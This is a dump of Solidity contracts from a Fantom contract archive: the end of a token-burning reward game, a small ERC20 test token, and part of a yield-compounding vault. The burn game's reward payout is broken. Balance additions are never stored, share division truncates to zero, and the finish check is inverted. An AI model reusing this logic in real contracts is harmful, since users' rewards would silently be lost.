address burner; //address of burner
uint256 burnAmount; // and his burn amount
}
burnerInfo[] public burnerInfos; //Address of burner in series for one game session and his amount
//Calculate percent and return result
function calculatePercentage(uint256 PercentOf, uint256 percentTo) internal pure returns (uint256)
{
uint256 factor = 10000;
require(percentTo <= factor);
uint256 c = PercentOf.mul(percentTo).div(factor);
return c;
}
function setMinimumVoucherToBurn(uint _minimumVoucherToBurn) onlyOwner public returns(bool success)
{
minimumVoucherToBurn = _minimumVoucherToBurn;
return true;
}
function setBurnIncreasePerLevelInPercent(uint _burnIncreasePerLevelInPercent) onlyOwner public returns(bool success)
{
burnIncreasePerLevelInPercent = _burnIncreasePerLevelInPercent;
return true;
}
function setburnIncreaseAfterStepCount(uint _burnIncreaseAfterStepCount) onlyOwner public returns(bool success)
{
burnIncreaseAfterStepCount = _burnIncreaseAfterStepCount;
return true;
}
function setGameClockSpanInSeconds(uint _gameClockSpanInSeconds) onlyOwner public returns(bool success)
{
gameClockSpanInSeconds = _gameClockSpanInSeconds;
return true;
}
function setNextGameAutoStart(bool _nextGameAutoStart) onlyOwner public returns(bool success)
{
nextGameAutoStart = _nextGameAutoStart;
return true;
}
function setBurnPushInSecond(uint256 _burnPushInSecond) onlyOwner public returns(bool success)
{
burnPushInSecond = _burnPushInSecond;
return true;
}
function setSecondPushDecreasePerLevel(uint256 _secondPushDecreasePerLevel) onlyOwner public returns(bool success)
{
secondPushDecreasePerLevel = _secondPushDecreasePerLevel;
return true;
}
event setglobalTokenEv(uint256 nowTime, address tokenAddress, bool status);
function setglobalToken(address _globalToken, bool _enable) onlyOwner public returns(bool success)
{
globalToken[_globalToken] = _enable;
emit setglobalTokenEv(now, _globalToken, _enable);
return true;
}
// ex 123= 1.23%, 10000 = 100%
function setDistributionPercent(uint256 _toLastBurnerPercent, uint256 _toSenondLastBurnerPercent, uint256 _toThirdLastBurnerPercent, uint256 _toOwnerPercent, uint256 _toDividendPercent,uint256 _carryOverPercent) public onlyOwner returns(bool)
{
uint256 sumAll = _toLastBurnerPercent + _toSenondLastBurnerPercent + _toThirdLastBurnerPercent + _toOwnerPercent + _toDividendPercent + _carryOverPercent;
require(sumAll == 10000, "sum of all is not 100%");
toLastBurnerPercent = _toLastBurnerPercent;
toSenondLastBurnerPercent = _toSenondLastBurnerPercent;
toThirdLastBurnerPercent = _toThirdLastBurnerPercent;
toOwnerPercent = _toOwnerPercent;
toDividendPercent = _toDividendPercent;
carryOverPercent = _carryOverPercent;
return true;
}
event startVaultPlayEv(address starter, uint amountBurned, uint timeNow, bool effective);
function startVaultPlay(address token, uint amountToBurn) public returns(bool)
{
address starter = msg.sender;
require(globalToken[token], "invalid token address");
require(ERC20Essential(token).balanceOf(starter)>= amountToBurn,"insufficiedt balance");
require(gameTimer == 0, "game is already on");
require(starter != address(0), "address 0 found");
require (ERC20Essential(token).burnVoucher(amountToBurn,2,starter),"burning failed");
bool success;
burnerInfo memory temp;
if (amountToBurn >= minimumVoucherToBurn)
{
gameTimer = now.add(gameClockSpanInSeconds);
burnCounter = 1;
totalVoucherBurnt = amountToBurn;
temp.burner = starter;
temp.burnAmount = amountToBurn;
burnerInfos.push(temp);
success = true;
}
emit startVaultPlayEv(starter, amountToBurn, now, success);
return true;
}
event pushMyBurnEv(address starter, uint amountBurned, uint timeNow, bool effective);
function whatIsRequiredNow() public view returns(uint256 reqAmount, uint256 secondAddOn)
{
uint increaseUnitAmount = calculatePercentage(minimumVoucherToBurn,burnIncreasePerLevelInPercent);
uint increaseFactor = burnCounter.div(burnIncreaseAfterStepCount);
uint secondDecreased = burnPushInSecond - increaseFactor;
reqAmount = minimumVoucherToBurn.add(increaseUnitAmount.mul(increaseFactor));
secondAddOn = burnPushInSecond - (secondPushDecreasePerLevel * increaseFactor);
require(burnPushInSecond >= secondAddOn, "no time left now");
return (reqAmount, secondAddOn);
}
function pushMyBurn(address token, uint amountToBurn) public returns(bool)
{
address callingUser = msg.sender;
require(globalToken[token], "invalid token address");
require(gameTimer != 0 && gameTimer > now, "not started yet or reward distribution pending");
require(ERC20Essential(token).balanceOf(callingUser)>= amountToBurn,"insufficiedt balance");
require (ERC20Essential(token).burnVoucher(amountToBurn,2,callingUser),"burning failed");
uint increaseUnitAmount = calculatePercentage(minimumVoucherToBurn,burnIncreasePerLevelInPercent);
uint increaseFactor = burnCounter.div(burnIncreaseAfterStepCount);
uint requiredAmount = minimumVoucherToBurn.add(increaseUnitAmount.mul(increaseFactor));
uint secondDecreased = secondPushDecreasePerLevel * increaseFactor;
require(burnPushInSecond >= secondDecreased, "no time left now");
bool success;
burnerInfo memory temp;
if(amountToBurn >= requiredAmount)
{
gameTimer = gameTimer.add(secondDecreased);
burnCounter++;
totalVoucherBurnt = totalVoucherBurnt.add(amountToBurn);
temp.burner = callingUser;
temp.burnAmount = amountToBurn;
burnerInfos.push(temp);
success = true;
}
emit pushMyBurnEv(callingUser, amountToBurn, now, success);
return true;
}
function distributeReward(address token) onlyOwner public returns(bool)
{
//check before distribution or rewards
require(globalToken[token], "invalid token address");
require(gameTimer > now, "game not finished yet");
require(burnerInfos.length > 0, "no player rolled");
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
uint256 i;
for(i=0; i < totalGameContracts; i++){
uint256 amount = InterfaceGAMES(whitelistCallerArray[i]).getAvailableVaultRake();
if(amount > 0){
require(InterfaceGAMES(whitelistCallerArray[i]).requestVaultRakePayment(), 'could not transfer trx');
totalDividend += amount;
}
}
totalDividend += carryOverAmount;
//distribution parts
uint256 toLastBurner = calculatePercentage(totalDividend,toLastBurnerPercent);
uint256 toSenondLastBurner = calculatePercentage(totalDividend,toSenondLastBurnerPercent);
uint256 toThirdLastBurner = calculatePercentage(totalDividend,toThirdLastBurnerPercent);
uint256 toOwner = calculatePercentage(totalDividend,toOwnerPercent);
uint256 toDividend = calculatePercentage(totalDividend,toDividendPercent);
carryOverAmount = calculatePercentage(totalDividend,carryOverPercent);
uint256 lengthOf = burnerInfos.length;
if (lengthOf > 0)
{
userTrxBalance[burnerInfos[lengthOf-1].burner].add(toLastBurner);
}
if (lengthOf > 1)
{
userTrxBalance[burnerInfos[lengthOf-2].burner].add(toSenondLastBurner);
}
if (lengthOf > 2)
{
userTrxBalance[burnerInfos[lengthOf-3].burner].add(toThirdLastBurner);
}
userTrxBalance[owner].add(toOwner);
// to all participant
uint256 hisPart;
for(i=0; i < lengthOf; i++)
{
hisPart = burnerInfos[i].burnAmount / totalVoucherBurnt * toDividend;
userTrxBalance[burnerInfos[i].burner].add(hisPart);
}
//Reset after distribution
delete burnerInfos;
burnCounter = 0;
totalVoucherBurnt = 0;
if(nextGameAutoStart)
{
gameTimer = now.add(gameClockSpanInSeconds);
}
else
{
gameTimer = 0;
}
return true;
}
function withdrawTrx(uint256 amount) public returns(bool)
{
address caller = msg.sender;
require(amount <= userTrxBalance[caller], "not enough balance");
userTrxBalance[caller] = userTrxBalance[caller].sub(amount);
caller.transfer(amount);
return (true);
}
function viewStat() public view returns (uint256 timeLeft, address lastBurner, address secondLastBurner, address thirdLastBurner, uint256 poolSize,uint256 requiredAmountToBurn, uint256 canIncreaseSecondByBurn)
{
if (now < gameTimer)
{
timeLeft = gameTimer - now;
}
uint256 lengthOf = burnerInfos.length;
if (lengthOf > 0)
{
lastBurner = burnerInfos[lengthOf-1].burner;
}
if (lengthOf > 1)
{
secondLastBurner = burnerInfos[lengthOf-2].burner;
}
if (lengthOf > 2)
{
thirdLastBurner = burnerInfos[lengthOf-3].burner;
}
uint256 i;
for(i=0;i<lengthOf;i++)
{
poolSize += burnerInfos[i].burnAmount;
}
(requiredAmountToBurn,canIncreaseSecondByBurn) = whatIsRequiredNow();
return (timeLeft,lastBurner,secondLastBurner,thirdLastBurner,poolSize,requiredAmountToBurn,canIncreaseSecondByBurn);
}
function getDividendPotential() public view returns(uint256){
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
for(uint i=0; i < totalGameContracts; i++){
uint256 amount = InterfaceGAMES(whitelistCallerArray[i]).getAvailableVaultRake();
if(amount > 0){
totalDividend += amount;
}
}
if(totalDividend > 0 || dividendAccumulated > 0){
//admin can set % of dividend to be distributed.
//reason for 1000000 is that divPercentageSUN was in SUN
uint256 newAmount = totalDividend * divPercentageSUN / 100 / 1000000;
return newAmount + dividendAccumulated;
}
//by default it returns zero
}
function addWhitelistGameAddress(address _newAddress) public onlyOwner returns(string){
require(!whitelistCaller[_newAddress], 'No same Address again');
whitelistCaller[_newAddress] = true;
whitelistCallerArray.push(_newAddress);
whitelistCallerArrayIndex[_newAddress] = whitelistCallerArray.length - 1;
return "Whitelisting Address added";
}
function removeWhitelistGameAddress(address _address) public onlyOwner returns(string){
require(_address != address(0), 'Invalid Address');
require(whitelistCaller[_address], 'This Address does not exist');
whitelistCaller[_address] = false;
uint256 arrayIndex = whitelistCallerArrayIndex[_address];
address lastElement = whitelistCallerArray[whitelistCallerArray.length - 1];
whitelistCallerArray[arrayIndex] = lastElement;
whitelistCallerArrayIndex[lastElement] = arrayIndex;
whitelistCallerArray.length--;
return "Whitelisting Address removed";
}
}
| 295,905 | 12,016 |
6a7248cf2ed6dabcc316b74605acad36bc86603638497dbd6b7aaacb838df761
| 30,576 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/25/252C3a7dE2E4845e92a68b694340a09d0C7ADb60_Jago.sol
| 3,358 | 13,443 |
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 public totalMinted;
uint256 public constant maxMintCap = 10000 * (10 ** 18);
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return maxMintCap;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
require(totalMinted.add(amount) <= maxMintCap, "Max supply reached");
_totalSupply = _totalSupply.add(amount);
totalMinted = totalMinted.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
// Jago.
contract Jago is ERC20('Jago Test', 'TEST') {
//Pre-minting of X number of tokens for initial liquidity injection
constructor () public {
_mint(msg.sender, 50 * 10 ** 18);
}
address public masterchef;
// @dev Throws if called by any account other than the Masterchef.
modifier onlyMasterchef() {
require(msg.sender == masterchef, "Caller is not the Masterchef");
_;
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyMasterchef {
_mint(_to, _amount);
}
function initializeMC(address _masterchef) public onlyOwner {
require(masterchef == address(0), "Already initialized");
require(_masterchef != address(0), "INCORRECT INPUT");
require(_masterchef != address(msg.sender), "INCORRECT INPUT");
require(_masterchef != address(this), "INCORRECT INPUT");
masterchef = _masterchef;
}
}
| 332,252 | 12,017 |
95badcc21c22ebf7e9dea1faddbf7364e76a326e65d250008666baba110379de
| 24,286 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/e8/e880a7f6c9c326477a7d98e736e1524a7f8d4394_Granary.sol
| 5,575 | 15,725 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
pragma abicoder v2;
//ftm.guru's Universal On-chain TVL Calculator
//Source: https://ftm.guru/rawdata/tvl
interface ITVL {
//Using Version = 6
function p_lpt_usd(address u, address lp) external view returns(uint256);
}
interface IMasterchef {
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. WeVEs to distribute per block.
uint256 lastRewardBlock; // Last block number that WeVEs distribution occurs.
uint256 accWeVEPerShare; // Accumulated WeVEs per share, times 1e12. See below.
}
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function userInfo(uint256, address) external view returns (UserInfo memory);
function poolInfo(uint256) external view returns (PoolInfo memory);
function totalAllocPoint() external view returns (uint256);
function pendingRewards(uint256 _pid, address _user) external view returns (uint256);
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//Uniswap-style Pair (LPT)
function getReserves() external view returns (uint112, uint112, uint32);
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Granary
{
using SafeMath for uint256;
constructor (address _w, address _m, address _e, uint8 _p, address _R, address[] memory _r, string memory _id, address _v)
{
want=IERC20(_w);
mc=IMasterchef(_m);
earn=IERC20(_e);
allnums[0]=_p; //pid
router = _R;
route = _r;
id=_id;//GRAIN#ID
utvl = _v;
//Approvals
//mc to take what it may want
IERC20(address(want)).approve(address(mc),uint256(-1));
//router to sell what we earn
IERC20(address(earn)).approve(address(router),uint256(-1));
//router to add route[route.length-1]
IERC20(_r[_r.length-1]).approve(address(router),uint256(-1));
dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584;
treasury = dao;
}
modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;}
struct Elites {
address ELITE;
uint256 ELITES;
}
Elites[] public Eliteness;
function pushElite(address elite, uint256 elites) public DAO {
Eliteness.push(Elites({ELITE:elite,ELITES:elites}));
}
function pullElite(uint256 n) public DAO {
Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop();
}
//@xref takeFee=eliteness(msg.sender)?false:true;
function eliteness(address u) public view returns(bool)
{
if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite.
for(uint i;i<Eliteness.length;i++){
if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES)
{
return(true);
}
}
return(false);
}
function config(//address _w,
uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO
{
allnums[4] = _mw;
treasury = _t;
//Max 10%, 1e6 = 100%
require(_wi<1e5,"!wi: high");allnums[3] = _wi;
require(_pf<1e5,"!pf: high");allnums[2] = _pf;
require(_df<1e5,"!df: high");allnums[1] = _df;
}
uint8 RG = 0;
modifier rg {
require(RG == 0,"!RG");
RG = 1;
_;
RG = 0;
}
function isContract(address account) internal view returns (bool)
{
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
//Using getter functions to circumvent "Stack too deep!" errors
string public id;
function name() public view returns(string memory){return(string(abi.encodePacked("ftm.guru/GRAIN/", id)));}
function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));}
function decimals() public view returns(uint8){return(IERC20(want).decimals());}
uint256 public totalSupply;
IERC20 public want;
IERC20 public earn;
address public router;
address[] public route;
IMasterchef public mc;
bool public emergency = false;
address public dao;
address public treasury;
address public utvl;
//Using array to avoid "Stack too deep!" errors
uint256[7] public allnums = [
0, //pid 0 constant
1e3,//df 1 config, <= 10% (1e5), default 0.1%
1e4,//pf 2 config, <= 10% (1e5), default 1%
1e4,//wi 3 config, <= 10% (1e5), default 1%
1e4,//mw 4 config, default 1 (near zero)
0, //ct[0] 5 nonce, then constant
0 //ct[1] 6 up only
];
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event RewardPaid(address indexed user, uint256 amount);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function approve(address guy) public returns (bool) {
return approve(guy, uint(-1));
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool)
{
require(balanceOf[src] >= wad,"Insufficient Balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
function deposit(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Please don't deposit.");
//require(isContract(msg.sender)==false,"Humans only");
//require(msg.sender==tx.origin,"Humans only");
//Some fancy math to take care of Fee-on-Transfer tokens
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard");
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty deposit");
mc.deposit(allnums[0],D);
//Some more fancy math to take care of Deposit Fee
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//require(M>mindep,"Deposit Too Low");
uint256 _mint = 0;
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
totalSupply += _mint;
uint256 _fee;
//allnums[1]===df, deposit fee
if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings
if(_fee>0)//gas savings
{
balanceOf[treasury] += _fee;
emit Transfer(address(0), treasury, _fee);
}
balanceOf[msg.sender] += _mint.sub(_fee);
emit Transfer(address(0), msg.sender, _mint.sub(_fee));
//hardWork()
//allnums[4]===mw, min work : smallest harvest
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function withdraw(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
uint256 ts = totalSupply;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
// W = DepositsPerShare * SharesBurnt
uint256 W = (_amt.mul(mcbb)).div(ts);
mc.withdraw(allnums[0],W);
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty withdrawal");
require(want.transfer(msg.sender,D), "Unable to deboard");
//hardWork()
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function doHardWork() public rg
{
require(eliteness(msg.sender),"Elites only!");
salvage();
require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!");
work(msg.sender);
}
function salvage() public
{
//harvest()
mc.withdraw(allnums[0],0);
}
function work(address ben) internal
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
//has inputs from salvage() if this work is done via doHardWork()
IRouter R = IRouter(router);
IERC20 B = IERC20(route[route.length-1]);
uint256 vbb = (earn.balanceOf(address(this))).div(2);
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,route,address(this),block.timestamp);
R.addLiquidity(address(earn),
address(B),
earn.balanceOf(address(this)),
B.balanceOf(address(this)),
1,
1,
address(this),
block.timestamp);
uint256 D = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
mc.deposit(allnums[0],D);
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//Performance Fee Mint, conserves TVL
uint256 _mint = 0;
//allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM.
if(allnums[5]==0){allnums[5]=uint64(block.timestamp);}//only on the first run
allnums[6]=uint64(block.timestamp);
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
//allnums[2] === pf, Performance Fee
balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6);
//Worker Incentive Mint, conserves TVL
address worker = ben == address(this) ? treasury : ben;
//allnums[3] === wi, Worker Incentive
balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6);
